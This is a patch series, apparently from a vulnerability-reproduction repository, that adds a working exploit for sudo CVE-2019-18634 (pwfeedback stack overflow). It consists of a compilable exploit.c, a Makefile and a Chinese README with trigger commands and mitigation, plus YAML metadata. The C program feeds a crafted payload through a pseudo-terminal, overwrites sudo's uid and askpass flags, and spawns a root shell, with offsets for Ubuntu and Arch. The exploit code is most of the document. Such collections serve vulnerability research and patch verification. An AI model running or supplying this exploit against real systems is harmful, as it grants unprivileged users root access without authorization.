From 5e74f466d59a2810544f836801422154e7234bc5 Mon Sep 17 00:00:00 2001 From: czx Date: Fri, 17 Mar 2023 13:11:25 +0800 Subject: [PATCH 1/6] add CVE-2019-18634 --- cve/sudo/2019/CVE-2019-18634/.gitignore | 1 + cve/sudo/2019/CVE-2019-18634/LICENSE | 20 +++ cve/sudo/2019/CVE-2019-18634/Makefile | 17 ++ cve/sudo/2019/CVE-2019-18634/README.md | 87 +++++++++++ cve/sudo/2019/CVE-2019-18634/exploit.c | 198 ++++++++++++++++++++++++ 5 files changed, 323 insertions(+) create mode 100755 cve/sudo/2019/CVE-2019-18634/.gitignore create mode 100755 cve/sudo/2019/CVE-2019-18634/LICENSE create mode 100755 cve/sudo/2019/CVE-2019-18634/Makefile create mode 100755 cve/sudo/2019/CVE-2019-18634/README.md create mode 100755 cve/sudo/2019/CVE-2019-18634/exploit.c diff --git a/cve/sudo/2019/CVE-2019-18634/.gitignore b/cve/sudo/2019/CVE-2019-18634/.gitignore new file mode 100755 index 00000000..62c7d117 --- /dev/null +++ b/cve/sudo/2019/CVE-2019-18634/.gitignore @@ -0,0 +1 @@ +exploit diff --git a/cve/sudo/2019/CVE-2019-18634/LICENSE b/cve/sudo/2019/CVE-2019-18634/LICENSE new file mode 100755 index 00000000..9d08078c --- /dev/null +++ b/cve/sudo/2019/CVE-2019-18634/LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2020 Saleem Rashid + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/cve/sudo/2019/CVE-2019-18634/Makefile b/cve/sudo/2019/CVE-2019-18634/Makefile new file mode 100755 index 00000000..c4294f07 --- /dev/null +++ b/cve/sudo/2019/CVE-2019-18634/Makefile @@ -0,0 +1,17 @@ +EXENAME := exploit + +CC ?= cc + +CFLAGS += -Os -g3 +CFLAGS += -std=c99 -Wall -Wextra -Wpedantic + +LDFLAGS += -static + +all: $(EXENAME) + +$(EXENAME): exploit.c + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ + +.PHONY: clean +clean: + @rm -f $(EXENAME) diff --git a/cve/sudo/2019/CVE-2019-18634/README.md b/cve/sudo/2019/CVE-2019-18634/README.md new file mode 100755 index 00000000..93ee06bb --- /dev/null +++ b/cve/sudo/2019/CVE-2019-18634/README.md @@ -0,0 +1,87 @@ +# CVE-2019-18634(在sudoers中设置pwfeedback时的缓冲区溢出问题) + +# 简述 + +在 1.8.26 之前的 Sudo 中,如果在 /etc/sudoers 中启用 pwfeedback,用户可以在特权 sudo 进程中触发基于堆栈的缓冲区溢出。(pwfeedback 是 Linux Mint 和 elementary OS 的默认设置;然而,它不是上游和许多其他包的默认设置,并且只有在管理员启用时才会存在。)攻击者需要向标准输入传递一个长字符串tgetpass.c 中的 getln()。 + +# 受影响的Sudo版本 + +Sudo 版本 1.7.1 到 1.8.30 都会受到影响,但前提是 在 sudoers 中启用了*pwfeedback选项。*它最初被认为在 sudo 版本 1.8.26 到 1.8.30 中不可利用,但事实证明并非如此。 + +具有 sudo 权限的用户可以 通过运行以下命令检查是否启用了pwfeedback : + +``` +sudo -l +``` + +如果pwfeedback列在“Matching Defaults entries”输出中,则 sudoers 配置会受到影响。在以下示例中,sudoers 配置存在漏洞: + +``` +$ sudo -l +Matching Defaults entries for millert on linux-build: +``` + +insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail + +``` +User millert may run the following commands on linux-build: +``` + +(ALL : ALL) ALL + +# 细节 + +利用这个错误不需要sudo权限,只需要启用pwfeedback。这个错误可以通过从一个不能被写入的伪终端向sudo传递一个带有嵌入式终端杀死字符的大型输入来重现。例如,使用socat工具,并假设终端杀死字符被设置为control-U(0x15)。 + +``` +$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" & +$ sudo -S -k id < /tmp/pty +Password: Segmentation fault (core dumped) +``` + +对于1.8.26之前的sudo版本,以及在有单向管道的系统上,重现这个错误比较简单。在这里,终端杀死字符被设置为NUL字符(0x00),因为sudo不是从终端读取。由于1.8.26中引入的EOF处理的变化,这种方法在较新版本的sudo中是无效的。 + +``` +$ perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id +Password: Segmentation fault (core dumped) +``` + +**有两个缺陷会导致此漏洞:** + +- 当从用户终端以外的其他地方读取时, pwfeedback选项不会被忽略,因为它应该被忽略`/dev/tty`。该`-S`选项的使用应该有效地禁用pwfeedback。 +- 如果出现写入错误,擦除星号行的代码不会正确重置缓冲区位置,但会重置剩余的缓冲区长度。结果,该`getln()`函数可以写入超过缓冲区的末尾,从而导致溢出。如果用户可以使 sudo 在尝试擦除星号行时收到写入错误,则可以触发错误。由于在擦除行时发生写入错误时剩余缓冲区长度未正确重置,因此堆栈上的缓冲区可能会溢出。 + +# 影响 + +- 除非在 sudoers 文件中启用了pwfeedback ,否则不会产生**任何**影响。 + +- 如果在 sudoers 中启用pwfeedback,堆栈溢出可能允许非特权用户升级到 root 帐户。因为攻击者完全控制了用于溢出缓冲区的数据,所以很可能被利用。 + +# 解决方法 + +如果 sudoers 文件启用了pwfeedback,通过在前面加上感叹号来禁用它就足以防止漏洞被利用。例如,更改: + +``` +Defaults pwfeedback +``` + +到 + +``` +Defaults !pwfeedback +``` + +使用 visudo 命令在 sudoers 中禁用pwfeedback后,示例`sudo -l`输出变为: + +``` +$ sudo -l +Matching Defaults entries for millert on linux-build: +``` + +insults, mail_badpass, mailerpath=/usr/sbin/sendmail + +``` +User millert may run the following commands on linux-build: +``` + +(ALL : ALL) ALL diff --git a/cve/sudo/2019/CVE-2019-18634/exploit.c b/cve/sudo/2019/CVE-2019-18634/exploit.c new file mode 100755 index 00000000..f6aa9620 --- /dev/null +++ b/cve/sudo/2019/CVE-2019-18634/exploit.c @@ -0,0 +1,198 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TGP_ASKPASS 0x4 +#define SUDO_CONV_REPL_MAX 255 + +/* sudo 1.8.30-1 */ +#define TGP_OFFSET_ARCHLINUX 548 +/* sudo 1.8.21p2-3ubuntu1 (bionic 18.04) */ +/* sudo 1.8.29-1ubuntu1 (focal 20.04) */ +#define TGP_OFFSET_UBUNTU 624 + +#define KILL_OFFSET (SUDO_CONV_REPL_MAX - 1) +#define OVERFLOW_SIZE 1000 +#define TGP_OFFSET TGP_OFFSET_UBUNTU + +int main(int argc, char **argv) { + (void)argv; + + /* + * When Sudo executes us as the askpass program, argv[1] will be the prompt, + * usually "[sudo] password for $USER: ". For simplicity, assume that any + * command-line arguments mean we've been re-executed by Sudo. + */ + if (argc > 1) { + if (unsetenv("SUDO_ASKPASS") != 0) { + warn("unsetenv(SUDO_ASKPASS)"); + } + /* + * We replaced stdin with our pseudo-terminal and Sudo replaced stdout with + * a pipe, so we need to restore these to their original values. For + * simplicity, assume that stderr still refers to our original terminal. + */ + if (dup2(STDERR_FILENO, STDIN_FILENO) != STDIN_FILENO) { + warn("dup2(STDERR_FILENO, STDIN_FILENO)"); + } + if (dup2(STDERR_FILENO, STDOUT_FILENO) != STDOUT_FILENO) { + warn("dup2(STDERR_FILENO, STDOUT_FILENO)"); + } + execlp("sh", "sh", NULL); + err(1, "execlp(sh)"); + } + + /* + * Unless stdin is a terminal, Sudo will use sudo_term_kill = 0. + * + * In 1.8.25p1, this would still allow us to exploit the buffer overflow, but + * we would be forced to overwrite the signo[NSIG] array with non-zero bytes. + * This will unavoidably kill the target process as tgetpass will iterate + * signo[NSIG] and re-send the signals whose entries are non-zero. + * + * In 1.8.26, sudo_term_eof = 0 is used which would prevent us from even + * reaching the buffer overflow. + * + * To resolve this, we allocate a pseudo-terminal (pty) for stdin. + */ + int ptyfd = posix_openpt(O_NOCTTY | O_RDWR); + if (ptyfd < 0) { + err(1, "posix_openpt"); + } + if (grantpt(ptyfd) != 0) { + err(1, "grantpt"); + } + if (unlockpt(ptyfd) != 0) { + err(1, "unlockpt"); + } + + struct termios term; + if (tcgetattr(ptyfd, &term) != 0) { + err(1, "tcgetattr"); + } + + /* + * We are using a pseudo-terminal but we do not want the driver to preprocess + * our payload as if we were entering it into an interactive terminal. + */ + cfmakeraw(&term); + /* + * Sudo 1.8.26 and above handles the EOF character. This is, by default, + * Ctrl-D or 0x04 which is inconveniently the same as TGP_ASKPASS. We could + * avoid writing 0x04 by adding a benign flag to tgetpass_flags, but it is + * simpler to change VEOF to an unused character. + */ + term.c_cc[VEOF] = 0xAA; + + if (tcsetattr(ptyfd, TCSANOW, &term) != 0) { + err(1, "tcsetattr"); + } + + /* + * Ensure that neither of the characters used in our payload are special + * characters that Sudo will treat differently. + */ + uint8_t sudo_term_eof = term.c_cc[VEOF]; + if (sudo_term_eof == 0 || sudo_term_eof == TGP_ASKPASS) { + errx(1, "sudo_term_eof = %u", sudo_term_eof); + } + uint8_t sudo_term_erase = term.c_cc[VERASE]; + if (sudo_term_erase == 0 || sudo_term_erase == TGP_ASKPASS) { + errx(1, "sudo_term_erase = %u", sudo_term_erase); + } + uint8_t sudo_term_kill = term.c_cc[VKILL]; + if (sudo_term_kill == 0 || sudo_term_kill == TGP_ASKPASS) { + errx(1, "sudo_term_kill = %u", sudo_term_kill); + } + + const char *devpts = ptsname(ptyfd); + if (devpts == NULL) { + err(1, "ptsname"); + } + + /* + * To exploit the buffer overflow, the write(fd, "\b \b", 3) syscall must + * fail, so it is necessary to open our pseudo-terminal with O_RDONLY. + */ + int ttyfd = open(devpts, O_NOCTTY | O_RDONLY); + if (ttyfd < 0) { + err(1, "open(devpts)"); + } + + /* + * There are two steps to our exploit: + * + * - We want to overwrite user_details.uid = 0 so Sudo does not drop + * privileges before executing the askpass program. + * + * - We want to overwrite tgetpass_flags with TGP_ASKPASS, so Sudo + * re-executes us as the askpass program. + * + * Conveniently, the buffer we are overflowing is in the BSS segment, so all + * we need to do is write TGP_ASKPASS into the least significant byte of + * tgetpass_flags, and zero out the user_details struct. + */ + uint8_t payload[OVERFLOW_SIZE + 5] = {0}; + /* + * We need to write sudo_term_kill every KILL_OFFSET (or less) to reset the + * remaining length and trigger the buffer overflow. + */ + payload[KILL_OFFSET * 1] = sudo_term_kill; + payload[KILL_OFFSET * 2] = sudo_term_kill; + /* + * Use TGP_OFFSET + 2 because the 2 occurences of sudo_term_kill are not + * included in the buffer overflow. + */ + static_assert(TGP_OFFSET + 2 > KILL_OFFSET * 2, "TGP_OFFSET invalid"); + static_assert(TGP_OFFSET + 2 < KILL_OFFSET * 3, "TGP_OFFSET invalid"); + payload[TGP_OFFSET + 2] = TGP_ASKPASS; + payload[KILL_OFFSET * 3] = sudo_term_kill; + payload[sizeof(payload) - 2] = sudo_term_kill; + payload[sizeof(payload) - 1] = '\n'; + + if (write(ptyfd, payload, sizeof(payload)) != sizeof(payload)) { + err(1, "write(ptyfd, payload)"); + } + + /* Replace stdin with our pseudo-terminal so Sudo uses it. */ + if (dup2(ttyfd, STDIN_FILENO) != STDIN_FILENO) { + err(1, "dup2(ttyfd, STDIN_FILENO)"); + } + if (close(ttyfd) != 0) { + warn("close(ttyfd)"); + } + + /* + * On Linux, /proc/self/exe is a symbolic link to the absolute path of our + * executable. This is more robust than argv[0], which we would still need to + * expand into an absolute path. + */ + char askpass[PATH_MAX + 1]; + ssize_t len = readlink("/proc/self/exe", askpass, sizeof(askpass) - 1); + if (len < 0) { + err(1, "readlink(/proc/self/exe)"); + } + askpass[len] = '\0'; + + /* + * We set SUDO_ASKPASS, but do not provide -A to Sudo because we need to use + * the buffer overflow to zero out the user_details struct before it executes + * the askpass program. + */ + if (setenv("SUDO_ASKPASS", askpass, true) != 0) { + err(1, "setenv(SUDO_ASKPASS)"); + } + + /* + * Without -S, Sudo will use /dev/tty instead of our pseudo-terminal on stdin. + */ + execlp("sudo", "sudo", "-S", "", NULL); + err(1, "execlp(sudo)"); +} -- Gitee From 71724a80db1e0109c7dcfec16a912998c5204792 Mon Sep 17 00:00:00 2001 From: czxyeah Date: Fri, 17 Mar 2023 07:45:52 +0000 Subject: [PATCH 2/6] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/sudo/2019/CVE-2019-18634/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/sudo/2019/CVE-2019-18634/yaml/.keep diff --git a/cve/sudo/2019/CVE-2019-18634/yaml/.keep b/cve/sudo/2019/CVE-2019-18634/yaml/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From c07a2715a206907ef8c78c3155864eef930106f2 Mon Sep 17 00:00:00 2001 From: czxyeah Date: Fri, 17 Mar 2023 07:46:09 +0000 Subject: [PATCH 3/6] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cve/?= =?UTF-8?q?sudo/2019/CVE-2019-18634/yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/sudo/2019/CVE-2019-18634/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/sudo/2019/CVE-2019-18634/yaml/.keep diff --git a/cve/sudo/2019/CVE-2019-18634/yaml/.keep b/cve/sudo/2019/CVE-2019-18634/yaml/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 090f42d3801058a9c9b6d20b4c33b41b3e2fae5d Mon Sep 17 00:00:00 2001 From: czxyeah Date: Fri, 17 Mar 2023 07:47:28 +0000 Subject: [PATCH 4/6] =?UTF-8?q?=E6=AD=A4=E6=96=B0=E5=BB=BA=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E5=A4=B9=E9=87=8C=E9=9D=A2=E7=9A=84yaml=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E5=A4=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: czxyeah --- cve/sudo/2019/yaml/CVE-2019-18634.yaml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 cve/sudo/2019/yaml/CVE-2019-18634.yaml diff --git a/cve/sudo/2019/yaml/CVE-2019-18634.yaml b/cve/sudo/2019/yaml/CVE-2019-18634.yaml new file mode 100644 index 00000000..f7850e5a --- /dev/null +++ b/cve/sudo/2019/yaml/CVE-2019-18634.yaml @@ -0,0 +1,20 @@ +id: VE-2019-18634 +source: https://github.com/edsonjt81/sudo-cve-2019-18634 +info: + name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 + severity: high + description: | + 在 1.8.26 之前的 Sudo 中,如果在 /etc/sudoers 中启用 pwfeedback,用户可以在特权 sudo 进程中触发基于堆栈的缓冲区溢出。(pwfeedback 是 Linux Mint 和 elementary OS 的默认设置;然而,它不是上游和许多其他包的默认设置,并且只有在管理员启用时才会存在。)攻击者需要向标准输入传递一个长字符串tgetpass.c 中的 getln()。 + scope-of-influence: + 小于1.8.26 + reference: + - https://www.sudo.ws/alerts/pwfeedback.html + - https://nvd.nist.gov/vuln/detail/CVE-2019-18634 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2019-18634 + cwe-id: CWE-787 + cnvd-id: None + kve-id: None + tags: 堆缓冲区溢出漏洞, cve2019, 权限提升 -- Gitee From 30acf6e9866c3101f1f55d44d037eb1f35cf06f4 Mon Sep 17 00:00:00 2001 From: czxyeah Date: Fri, 17 Mar 2023 07:48:55 +0000 Subject: [PATCH 5/6] update openkylin_list.yaml. Signed-off-by: czxyeah --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index caeacc6e..0f48a067 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -57,6 +57,7 @@ cve: - CVE-2022-41218 - CVE-2019-13272 sudo: + - CVE-2019-18634 - CVE-2021-3156 - CVE-2023-22809 gitlab: -- Gitee From aaf68b409bbe537bf428f07fa7ed54f98c3e404d Mon Sep 17 00:00:00 2001 From: czxyeah Date: Mon, 20 Mar 2023 08:03:53 +0000 Subject: [PATCH 6/6] update cve/sudo/2019/yaml/CVE-2019-18634.yaml. Signed-off-by: czxyeah --- cve/sudo/2019/yaml/CVE-2019-18634.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cve/sudo/2019/yaml/CVE-2019-18634.yaml b/cve/sudo/2019/yaml/CVE-2019-18634.yaml index f7850e5a..fbc4c935 100644 --- a/cve/sudo/2019/yaml/CVE-2019-18634.yaml +++ b/cve/sudo/2019/yaml/CVE-2019-18634.yaml @@ -1,4 +1,4 @@ -id: VE-2019-18634 +id: CVE-2019-18634 source: https://github.com/edsonjt81/sudo-cve-2019-18634 info: name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 @@ -6,7 +6,7 @@ info: description: | 在 1.8.26 之前的 Sudo 中,如果在 /etc/sudoers 中启用 pwfeedback,用户可以在特权 sudo 进程中触发基于堆栈的缓冲区溢出。(pwfeedback 是 Linux Mint 和 elementary OS 的默认设置;然而,它不是上游和许多其他包的默认设置,并且只有在管理员启用时才会存在。)攻击者需要向标准输入传递一个长字符串tgetpass.c 中的 getln()。 scope-of-influence: - 小于1.8.26 + sudo < 1.8.26 reference: - https://www.sudo.ws/alerts/pwfeedback.html - https://nvd.nist.gov/vuln/detail/CVE-2019-18634 -- Gitee